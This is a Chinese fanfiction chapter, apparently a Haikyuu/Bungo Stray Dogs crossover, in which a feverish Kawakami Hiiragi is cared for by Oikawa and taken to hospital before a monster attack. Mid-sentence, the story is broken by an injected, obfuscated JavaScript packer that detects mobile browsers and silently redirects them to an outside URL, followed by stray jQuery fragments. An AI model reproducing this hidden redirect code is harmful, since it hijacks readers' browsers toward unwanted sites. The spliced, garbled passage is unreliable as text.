“阿柊,我不想再这样下去了。”看不清面容的女孩儿隐藏在雾中,嘴巴一张一合:“我们逃吧……离开……”
“川上柊!求你……求求你……”失去双眼的士兵呢喃:“放过我吧……我已经……无法再继续下去了……”
“放过我吧……”
“放过我吧……”
“放过我吧……”
十一岁的川上柊茫然地环顾四周出现的声音,往后退,轻轻撞到一双腿。
“阿柊,你不能后退。”黑发的军医用力握住他小小的肩膀,洗脑般的话语强行灌入川上柊耳朵里:“你和晶子是最契合的钻石,你不能退!”
“这是战争!一旦有了退怯之心,他们全都会因你而死!”
“可是,”男孩在雾中,茫然道:“他们在恳求我杀了他啊……”
.
川上柊皱眉,嘤咛一声。
正在用棉签给他嘴唇沾水的及川彻立刻停下动作观察,见他有睁眼的迹象,便将床摇起来,顺手塞了几个靠枕过去。
刚睁眼的川上柊感觉眼睛很痛,费劲地眨了眨眼,生理性的泪水便从颊边滑落。
“哎呦,怎么还哭了。”才把药泡好端进来的及川彻赶紧把药放下,在身上到处掏掏掏,直到医生无语地递给他一包抽纸。
他讪笑两声,赶紧把帘子拉起来。
“我们阿柊梦到什么哭得这么惨?”他抽出纸巾擦拭学弟脸上的泪水,却没想到在擦上的一瞬间川上柊往后躲了一下。
“……疼。”高烧还没退的人皮肤会变得相当敏感,甫一和粗糙纸面接触就能感到一阵刺痛。
看着他这幅白皙皮肤都快被烧透了的可怜样子,及川彻也没说别的,轻声细语地哄:“是我不好,我再轻一点。”
展开纸巾,轻轻摁在脸上将泪水吸干,他又端起冲泡好的退烧药,示意得趁热喝。
烧得眼睛嗓子全都疼的川上柊垂下眼,低声道:“没用的,我过一天就好了。”
“不喝你怎么知道没用。”及川彻不听,不知道从哪里又掏出来一个勺子,跃跃欲试道:“来吧,学长来喂你。”
川上柊更萎靡了。
这么苦的药,还要一勺一勺地喝,这是什么酷刑。
及川彻是看他生病特意来折磨他的吗。
严格意义来说,这也不算生病,只是没想到这次排异反应这么严重,比之前都要棘手些。
无论是喝药还是去医院挂点滴都对他没用,但及川前辈已经在皱眉不赞同地看着他了。
他无奈地叹了口气,接过药,一口闷了下去。
好苦,好苦啊。
川上柊低头想着,视野中突然出现一颗糖。
他抬头注视及川彻,那双栗色的眼睛里带着笑意,调侃道:“这是及川大人特意拿来哄小孩儿的哦。川上小朋友,要不要吃糖啊?”
好老套的手段。川上柊从他手里拿走那颗糖,剥开糖衣——是一颗橘子味的水果糖。
“等烧退了,阿柊就先回去吧,今天的部活不用去了,队长给你开后门。”明明是能正当请假的理由,他非要说得偷偷摸摸,好像很好玩似的:“要不要叫人过来接你?”
最好的办法是这时候应下,等及川彻走后再找个机会溜掉。烧是退不下来的,与其现在说出根本没有人能来接的实情,他应该尽快离开学校,找个地方把自己隐藏起来。
“……没人能来接我。”
及川彻倒水的动作一顿,想到了他家那些乱七八糟的豪门关系,过了两秒才想起来那些随叫随到的保镖们:“之前那两个……谁也不行?”
川上柊抿抿嘴,声音越发轻了:“他们不行。”
如果是正常情况也就罢了,以他现在的状况,他们会伺机暗杀也说不定——轻易暴露出弱点可是会被撕碎的。
到这里他已经后悔了,他不喜欢这样的示弱,好似在祈求那点微不足道的怜悯。而在他短暂的十几年人生中,也没人那样怜惜过他。
他叹了口气,正想说没关系,他有办法的时候,被突然靠近的额头相贴打断。
及川彻皱眉,脸色凝重:“真的没用啊……走,我带你去医院。”
医务室的医生也进来再次测了测体温,通红的40.67℃触目惊心。他赶紧掏出手机想打119(日本急救电话),又转念一想,或许由老师开车送过去还快些。
“不用了。”川上柊抬手制止:“我去找家庭医生。”
“刚才还说没人能来接,现在又说家庭医生,小骗子撒谎挺溜。”及川彻把人背起来,让医务室老师给沟口老师打电话,他们先去校门口等。
沟口贞幸一听说川上烧到了四十多度,登时抛下手里的工作,风驰电掣地接到两人往医院赶。
川上还想挣扎,被及川彻强制闭麦,顺手还喂了点水。
“你说你,生病了还硬挺什么。”沟口贞幸一边开车一边苦口婆心地数落:“烧到四十多度你以为是小事,要不是及川跟我说你是不是打算自己硬扛过去?自己的身体自己要顾好啊,白天也一直在补觉,一看晚上就长期熬夜,这样下去怎么能行。老师们都很关心你,有什么事不方便的可以跟我和入畑教练说,能帮的绝对竭尽全力去帮。我们是最不希望你们这帮孩子出事的人……”
川上柊新奇地眨了眨通红的双眼。
好奇怪的感觉,心脏酥酥涨涨的,难道是得急性心肌炎了吗?是不是马上就要死了?
太宰治说他还没体验过这种死法,也曾经尝试过高烧时使劲折腾自己。可惜除了把自己折腾得无比难受外,依旧活蹦乱跳。
及川彻见他眨眼,以为是眼睛不舒服,就让他躺在自己腿上,双手盖住他薄薄的眼皮。
“沟口教练……为什么要对我说那些话呢?”川上柊凭本能询问道:“还有及川前辈,为什么要看着我露出那样的表情?”
他想了想,自己给出一个答案:“是因为钱吗?”
“#”及川彻差点被气得头发竖起来,看在对方还是个病人的份上,只是不轻不重地捏了捏小骗子的耳垂:“真没良心啊小柊,前辈我可是会生气的。”
不同于生气的及川彻,社会阅历充足的成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408531|200613||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
年人听到这话只是神色复杂地叹了口气。
最终他只是说道:“有些时候,人与人之间的感情是不需要理由、也是不能衡量的。如果暂时不明白的话,只需要记住这句话就好。”
.
“39.34℃”
医生带着眼镜,双手啪啪开药:“开始退了就是好转的信号。不过暂时查不出原因,只能先保守用药,过几个小时再观察情况。家属去缴费吧。”
沟口贞幸缴完费回来,见点滴已经挂上了,才长舒一口气。
他关上窗户,又掖了掖被角,让及川彻先回去,他守在这里就好。
“不要。我可是阿柊的队长,才不要走嘞。”及川彻不干,强词夺理道:“阿柊醒来看不到我会害怕的,教练你不懂。”
借口也太烂了吧!见及川彻赶也赶不走,沟口贞幸只能无奈地让他留下,并自己出去买三人的晚餐。
正处逢魔时刻,天际将黑未黑。及川彻没事干地掏出手机跟群里的大家报备情况,还拍了川上柊一张正在输液的手部照片证明已到医院。
鬼使神差的,他将目光转移至看起来睡得不太安稳的川上柊脸上,又忍不住用手抚平他轻微皱起的眉头。
等到他反应过来时,手机里已经留下了川上柊静谧的睡颜——他的手抚在阿柊脸侧,撩起下落的发丝,露出那张泛着粉红的脸。
男高中生吓得立刻删除正襟危坐,心里重复念叨着我疯了我疯了我疯了。可片刻后,他又从回收站里找到那张照片,点了恢复。
就、阿柊确实漂亮对吧,留张漂亮照片在手机里欣赏也是人之常情罢了,这一点都不奇怪。
嗯,对,一点都不奇怪,就跟追星人群在手机里保存明星的照片一样。
及川彻安慰好自己,跑去窗户边欲盖弥彰地活动了一下身体,又折回来给川上柊量体温。
温度确实在降了,他欣慰地摸摸小学弟的头,心说阿柊阿柊快快好。
可又是半个小时过去,他终于察觉到了一点不对劲。
沟口教练怎么还没回来?
他给教练发消息,没回;打电话,显示信号不在服务区。
强烈的预感促使他踏出病房,朝楼梯拐角走去。
“教……教练?”及川彻有点害怕,但又怕沟口教练出事。像是被诱惑般,他踏出了那一步。
干净的楼梯变成了包裹着血肉的地面,医院的窗户消失不见,取而代之的,是怪物脸上那只诡异肿胀的眼睛。
及川彻不由自主地抬头,僵立在原地。
“别看。”
有人将他拉进一个滚烫的怀抱,略带薄茧的手将他的头按到自己肩颈处,又迫使他低头,好不泄露出一丝目光。
他听到锁链涌动缠绕的声音,听到怪物痛苦的尖啸,听到利器刺入躯体时发出的“噗嗤”声,而后,一切归于平静。
来人不正常的体温似乎也点燃了他的心脏。及川彻鼻尖还能闻到一丝血腥味,但更多的,是川上柊身上熟悉的皂角味。
“天哪……”他喃喃道:“我真的要爱上你了。”